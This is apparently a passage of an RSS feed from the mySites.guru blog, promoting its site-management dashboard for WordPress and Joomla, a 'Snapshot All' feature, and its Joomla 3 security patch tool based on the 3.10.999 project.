&lt;h4&gt;The Audit&lt;/h4&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;mySites.guru Audit&lt;/a&gt; goes deeper than the Snapshot. It compiles a list of every file in your webspace and checks each line of code, looking for hacks and malicious patterns.&lt;/p&gt;
&lt;p&gt;What we check for improves daily as more crowdsourced data is added. A &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;hack found on someone else’s site&lt;/a&gt; gets added to the detection rules, so your next audit catches it too.&lt;/p&gt;
&lt;p&gt;We don’t “scan” your site from the outside like some other vendors do. &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;We look at every single line of code&lt;/a&gt; and every image, flag anything suspect, and give you tools to dig into the results. That same deep scan also turns up &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files most site owners don’t know exist&lt;/a&gt; — dot-files, leftover scripts, and system files that can become real problems.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;💡 Deep visibility into your sites&lt;/p&gt;
  &lt;p&gt;The Snapshot and Audit each include dozens of tools for digging into what&apos;s actually happening on your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru dashboard showing site overview with security and update status&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;576&quot; src=&quot;https://mysites.guru/_astro/50-1024x576.BDLg8CjG_Z2fiTlw.webp&quot; srcset=&quot;https://mysites.guru/_astro/50-1024x576.BDLg8CjG_ZNWeCA.webp 640w, https://mysites.guru/_astro/50-1024x576.BDLg8CjG_Z1KcD9h.webp 750w, https://mysites.guru/_astro/50-1024x576.BDLg8CjG_Z1pOMjp.webp 828w, https://mysites.guru/_astro/50-1024x576.BDLg8CjG_Z2fiTlw.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Learn More Pages&lt;/h4&gt;
&lt;p&gt;Every tool is well documented. The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru Learn More pages&lt;/a&gt; explain each check’s criteria and result, why it matters, and link to external resources if you want to go further.&lt;/p&gt;
&lt;h2&gt;What else does mySites.guru offer?&lt;/h2&gt;
&lt;p&gt;Here’s a quick rundown of what else mySites.guru offers. The &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Features page&lt;/a&gt;&lt;/strong&gt; has everything, or &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt; if you have questions.&lt;/p&gt;
&lt;p&gt;For a deeper dive into any of these areas, see our guides on &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;multi-site agency management&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;CMS security&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing updates at scale&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;A Single Dashboard&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;Unlimited Sites&lt;/a&gt;  • &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Best Practice Checks&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshots&lt;/a&gt; •&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Suspect Content Tool&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;Periodic Auditing&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Find hacks and backdoors&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Rock Solid Backups&lt;/a&gt; • Toggle Fixes • &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;One Click Login&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;End-Of-Life Support&lt;/a&gt; •&lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;Version Tracking&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Scheduler&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/&quot;&gt;Generate Screenshots&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL Checks&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;White Label Client Reporting&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;Supports WordPress &amp;amp; Joomla, even very old versions&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;Mass Plugin Installer&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;Uptime Monitoring&lt;/a&gt;/&lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;Downtime Alerts Explained&lt;/a&gt;/&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-Time Alerts&lt;/a&gt; • Action Logs •&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Extension Management/Tracking&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Team Accounts&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/&quot;&gt;Lighthouse Performance Audits&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Mass Updates &amp;amp; Upgrades&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/organise-client-sites-with-tags/&quot;&gt;Tagging&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real Time Alerting&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;Fix a Hack&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;One Click Backup&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;Security Headers Checks&lt;/a&gt; •&lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Unlimited Backup Schedules&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/&quot;&gt;Public Uptime Status Pages&lt;/a&gt;&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>site management</category><category>security audits</category><category>best practice</category><category>hack detection</category><category>wordpress</category><enclosure url="https://mysites.guru/img/og/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring.webp" length="0" type="image/webp"/></item><item><title>Tools for Managing Multiple Sites</title><link>https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/</link><guid isPermaLink="true">https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/</guid><description>The mySites.guru Snapshot All button refreshes version data, security checks and best practice results across every connected site in one click.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Ok another Friday release - we deploy 7 days a week, and especially on a Friday, our favourite day for features to be released&lt;/em&gt; and deployed!&lt;/p&gt;
&lt;p&gt;Earlier in the week we &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;reinstated the “Backup All” sites button&lt;/a&gt;, this time its the “Snapshot All” button!&lt;/p&gt;
&lt;p&gt;One of the most requested features this week was the ability to &lt;strong&gt;update the snapshot of all sites in one go&lt;/strong&gt;. This is useful just before a &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update of Joomla or WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;The mySites.guru snapshot&lt;/a&gt; is the quickest collection of data we run. Whereas the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit requires us to look at every single file in your webspace&lt;/a&gt;, and then &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;audit every single line of every single file,&lt;/a&gt; the snapshot is looking for very specific things.&lt;/p&gt;
&lt;p&gt;Some of the data is version numbers, PHP Version, Joomla Version, WordPress Versions, PHP Configuration settings etc.&lt;/p&gt;
&lt;p&gt;Some of the data is specific checks, looking at specific configuration options in your site to ensure you are following all the best practice we are promoting.&lt;/p&gt;
&lt;p&gt;We also &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;look for specific hacks&lt;/a&gt; that are quick to find.&lt;/p&gt;
&lt;h2&gt;Where is the “Snapshot All” button?&lt;/h2&gt;
&lt;div&gt;&lt;p&gt;Back in 2012&lt;/p&gt;&lt;div&gt;&lt;p&gt;Actually, mySites.guru had this button way back in 2012 when we first launched, when we only had a few sites and did not need to worry about scaling our service. It was removed when we started getting busy :)&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.27.20.NQBDzEJn_1118y8.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.27.20.NQBDzEJn_ZWxHn0.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.27.20.NQBDzEJn_Z2jRtjM.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.27.20.NQBDzEJn_Ui7l1.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.27.20.NQBDzEJn_1118y8.webp 856w&quot; alt=&quot;ScreenShot 19.27.20&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 856px) 856px, 100vw&quot; width=&quot;856&quot; height=&quot;382&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can find the new button at the top right of the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;main sites overview page&lt;/a&gt;, this page shows some of the version numbers and results of the snapshot.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.26.50-1024x731.hGlzKjeB_1XUfmU.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-05-19.26.50-1024x731.hGlzKjeB_ZS8yjC.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.26.50-1024x731.hGlzKjeB_2tkDFj.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.26.50-1024x731.hGlzKjeB_2cCGYK.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-05-19.26.50-1024x731.hGlzKjeB_1XUfmU.webp 1024w&quot; alt=&quot;ScreenShot 19.26.50&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;731&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once you press this button, we will user a job into our queue for each site, with a short load balancing delay to not overload your web servers, and snapshot each site.&lt;/p&gt;
&lt;p&gt;This will also update the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;list of updates available for each site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can then carry on using mySites.guru as we will do this in the background for you, and update the data as soon as we receive replies from your web servers.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Fast feedback, faster shipping&lt;/p&gt;&lt;div&gt;&lt;p&gt;This is just another example of customers asking for features, and us responding to that feedback, not in a matter of months or weeks, but in hours or days. mySites.guru is the ONLY service that iterates as fast and deploys to production many times a day.&lt;/p&gt;&lt;p&gt;Join us today - &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;get your first month free!&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/first-month-free.DEPgM4_K_Z2ty4li.webp&quot; srcset=&quot;https://mysites.guru/_astro/first-month-free.DEPgM4_K_1nCdGj.webp 640w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_WDziO.webp 750w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_ZTJ9rM.webp 828w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_ZKuRs8.webp 1080w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_Z2ty4li.webp 1200w&quot; alt=&quot;First Month Free&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;630&quot; /&gt;&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>snapshot</category><category>joomla</category><category>wordpress</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel.webp" length="0" type="image/webp"/></item><item><title>The Best Multi-Site Management Dashboard</title><link>https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/</guid><description>Manage unlimited WordPress, Joomla and PHP sites from one secure dashboard. Security audits, backups, uptime monitoring and more for GBP 19.99/month.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Over 90,000 WordPress and Joomla sites are connected to mySites.guru. One dashboard to &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;manage multiple WordPress sites&lt;/a&gt;, run &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;security audits, backups, uptime checks&lt;/a&gt; and everything else. Joomla gets the same features, not a cut-down version.&lt;/p&gt;
&lt;p&gt;The service has been running since 2012 and the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;price&lt;/a&gt; hasn’t changed once. GBP 19.99 per month, &lt;strong&gt;unlimited sites&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;What do subscribers actually think?&lt;/h2&gt;
&lt;p&gt;We don’t write our own testimonials. Our subscribers post on Twitter/X and other platforms using their own accounts, and we link to those posts on the &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt;. Click through and verify them yourself, or read our &lt;a href=&quot;https://mysites.guru/blog/what-90-reviews-say-about-mysites-guru/&quot;&gt;breakdown of what ninety of this summer’s reviews actually say&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What did WPMayor.com say?&lt;/h2&gt;
&lt;p&gt;WPMayor.com published an independent review of mySites.guru: &lt;a href=&quot;https://wpmayor.com/mysites-guru-review/&quot;&gt;read it on their site&lt;/a&gt;. We &lt;a href=&quot;https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/&quot;&gt;wrote some notes&lt;/a&gt; about it too.&lt;/p&gt;
&lt;h2&gt;What do you actually get?&lt;/h2&gt;
&lt;p&gt;Plenty of multi-site dashboards exist. Very few of them handle Joomla, WordPress &lt;em&gt;and&lt;/em&gt; arbitrary PHP webspaces in the &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;same panel&lt;/a&gt; with identical features across all three. Here’s what’s included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Best practice checks&lt;/a&gt; for every connected site&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Hacked file and backdoor scanning&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;Uptime monitoring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;Line-by-line security audits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Akeeba Backup and All-In-One-Backup integration with a &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;flexible backup scheduler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time alerts&lt;/a&gt; when files change or someone logs into an admin panel&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Still running Joomla 1.5.26? That works too. mySites.guru is &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;compatible back to Joomla 1.5.0&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Switching from Joomla to WordPress?&lt;/h2&gt;
&lt;p&gt;Remove the Joomla site, &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;add the WordPress one&lt;/a&gt;. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;No extra charge&lt;/a&gt;, no per-site fees. Same subscription, same price since 2012.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Simple pricing&lt;/p&gt;
  &lt;p&gt;GBP 19.99 per month. Unlimited sites, all features included.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Can I try it free for a full month?&lt;/h2&gt;
&lt;p&gt;Sign up, connect your sites, use everything. Cancel before the month ends and you pay nothing. &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;Here’s how it works&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;&lt;img alt=&quot;First month free promotion&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;630&quot; src=&quot;https://mysites.guru/_astro/first-month-free.DEPgM4_K_Z2be6je.webp&quot; srcset=&quot;https://mysites.guru/_astro/first-month-free.DEPgM4_K_qHBzv.webp 640w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_sbVxb.webp 750w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_2CO7P.webp 828w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_ZF6e44.webp 1080w, https://mysites.guru/_astro/first-month-free.DEPgM4_K_Z2be6je.webp 1200w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Who handles support?&lt;/h2&gt;
&lt;p&gt;mySites.guru support means talking to &lt;a href=&quot;https://www.phil-taylor.com/&quot;&gt;Phil Taylor&lt;/a&gt; directly. Phil built the service, has been in the Joomla ecosystem since the Mambo days, and was one of the top code contributors to Joomla 4. No ticket queue, no first-line script readers. You &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;talk to the person who wrote the code&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Site hacked? What does cleanup cost?&lt;/h2&gt;
&lt;p&gt;Phil can recover hacked WordPress and Joomla sites for a flat fee, no hourly billing. Details at &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;&lt;img alt=&quot;Fix your Joomla or WordPress issue today&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;630&quot; src=&quot;https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_Z282Dqs.webp&quot; srcset=&quot;https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_Z1DWCWb.webp 640w, https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_R1VgQ.webp 750w, https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_Z2gwPX9.webp 828w, https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_1olB18.webp 1080w, https://mysites.guru/_astro/fix-1024x576.B-3IEN_l_Z282Dqs.webp 1200w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The dashboard is the centrepiece of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>joomla</category><category>site management</category><category>dashboard</category><enclosure url="https://mysites.guru/img/og/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites.webp" length="0" type="image/webp"/></item><item><title>The Joomla 3.10.999 Project</title><link>https://mysites.guru/blog/the-joomla-3-10-999-project/</link><guid isPermaLink="true">https://mysites.guru/blog/the-joomla-3-10-999-project/</guid><description>The Joomla 3.10.999 project backported critical security patches to end-of-life Joomla 3 sites. What it was, why it existed, and what to do now.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 3 reached &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end of life&lt;/a&gt; in August 2023. Since that date, the Joomla Project has not released any further security updates for the 3.x series. If you’re still running Joomla 3, your site is &lt;a href=&quot;https://joomla3security.com/core-vulnerabilities/&quot;&gt;unpatched and exposed&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What was the 3.10.999 project?&lt;/h2&gt;
&lt;p&gt;Every time a major Joomla series hits end of life, Phil Taylor publishes what he calls the “dot 999” project. It’s a reference repository: the last official release from the supported series, plus community-sourced security patches to keep sites minimally secure after official support stops.&lt;/p&gt;
&lt;p&gt;Phil did this for Joomla 1.5, Joomla 2.5, and Joomla 3.10. Most of the patches came from community contributors and from Phil’s own work. The projects sit alongside two other long-running community resources: the &lt;a href=&quot;https://mirror.myjoomla.io&quot;&gt;community hosted mirror&lt;/a&gt; (goes back to the Mambo days) and the &lt;a href=&quot;https://corefiles.myjoomla.io&quot;&gt;core files service&lt;/a&gt; (every Joomla file ever officially released).&lt;/p&gt;
&lt;p&gt;All three projects are on GitHub:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla1.5.999&quot;&gt;Joomla 1.5.999&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla2.5.999&quot;&gt;Joomla 2.5.999&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999&quot;&gt;Joomla 3.10.999&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are reference repos only. They document the recommended changes to keep sites minimally secure. They were never intended to be complete, forward-compatible, or tracking the latest PHP releases. There are no custom update servers. You grab what you need and apply it yourself.&lt;/p&gt;
&lt;h2&gt;Still on Joomla 3? Is it time to move?&lt;/h2&gt;
&lt;p&gt;Joomla 3 has been end of life since August 2023, over two and a half years now. The latest supported series is Joomla 6 - &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1 is the current stable release&lt;/a&gt; - and the migration tooling has come a long way since the early Joomla 4 days.&lt;/p&gt;
&lt;p&gt;Running an unsupported CMS means no security patches and no compatibility fixes. Hosting providers are already dropping the older PHP versions that Joomla 3 needs, so breakage is coming whether you plan for it or not.&lt;/p&gt;
&lt;p&gt;The 3.10.999 project was always a stopgap, not a destination. It is also not a fork: it patches stock 3.10.12 and leaves the version number alone, which is the opposite of what &lt;a href=&quot;https://mysites.guru/blog/what-is-joomla-3x-utd/&quot;&gt;Joomla 3.x UTD&lt;/a&gt; does. If you haven’t migrated yet, now is the time.&lt;/p&gt;
&lt;h2&gt;Can you fix every known Joomla 3 vulnerability with one click?&lt;/h2&gt;
&lt;p&gt;Downloading patches from GitHub and manually editing 85 files per site is fine if you have one or two sites. If you manage dozens or hundreds of Joomla 3 installations, it doesn’t scale.&lt;/p&gt;
&lt;p&gt;That’s why mySites.guru built the Joomla 3 Patch Tool. It’s a single toggle that applies every known security fix from the 3.10.999 project directly to your sites. No manual file edits, no separate subscription.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Read the full guide to the Joomla 3 Patch Tool&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;How it works&lt;/h3&gt;
&lt;p&gt;The patch tool is in the Site Snapshot for each Joomla 3.10.12 site in your mySites.guru account. Flip the toggle on and the mySites.guru connector compares MD5 hashes of every file that needs patching against the expected patched versions. Anything that doesn’t match gets replaced. Flip it off and the files revert to stock 3.10.12. Fully reversible.&lt;/p&gt;
&lt;h3&gt;What it patches&lt;/h3&gt;
&lt;p&gt;The tool modifies 85 files (84 replaced, 1 added, as of September 2026) covering every known vulnerability disclosed since Joomla 3.10.12:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;9 separate XSS vulnerabilities across media selection fields, mail address outputs, filter code, StringHelper, com_fields, wrapper extensions, OutputFilter methods, module chromes, and menu list IDs&lt;/li&gt;
&lt;li&gt;Cache poisoning in pagination&lt;/li&gt;
&lt;li&gt;Open redirects from inadequate URL validation&lt;/li&gt;
&lt;li&gt;Insufficient session expiration in MFA management views&lt;/li&gt;
&lt;li&gt;Environment variable exposure&lt;/li&gt;
&lt;li&gt;ACL violations in multiple core views&lt;/li&gt;
&lt;li&gt;Bug-fix-for-bug-fix patches, where the now-defunct commercial eLTS releases shipped broken code that needed further patching&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The full CVE list with links to every advisory is in the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;patch tool guide&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Bulk patching across all your sites&lt;/h3&gt;
&lt;p&gt;Got a portfolio of Joomla 3 client sites? The patch tool has a bulk view that shows every Joomla 3.10.12 site you manage with individual toggles. One screen, all your sites.&lt;/p&gt;
&lt;p&gt;Jump straight to it at &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&quot;&gt;manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;No eLTS subscription required&lt;/h3&gt;
&lt;p&gt;The Joomla Project used to offer a commercial eLTS programme for Joomla 3, but that &lt;a href=&quot;https://joomla3security.com/timeline/&quot;&gt;has since ended&lt;/a&gt;. mySites.guru includes all known Joomla 3 security patches as part of your standard subscription. The patches come from the same open-source 3.10.999 project.&lt;/p&gt;
&lt;h3&gt;Patched files show up in audits&lt;/h3&gt;
&lt;p&gt;After patching, your mySites.guru security audit will flag the modified files as Core File Changes, because they are changes to the original 3.10.12 distribution. You can inspect every diff directly in the audit tool, so you always know what changed and why.&lt;/p&gt;
&lt;h2&gt;Why is Joomla 3 still everywhere?&lt;/h2&gt;
&lt;p&gt;Joomla 3 is end of life, but it still runs on a huge number of sites. Joomla’s own usage statistics put 3.10.x at over 35% of reporting installations. If you run a digital agency, you know how it goes: &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;migrating clients takes budget, developer time, and client sign-off&lt;/a&gt;. That doesn’t happen overnight, and the sites still need protecting while you work through the backlog.&lt;/p&gt;
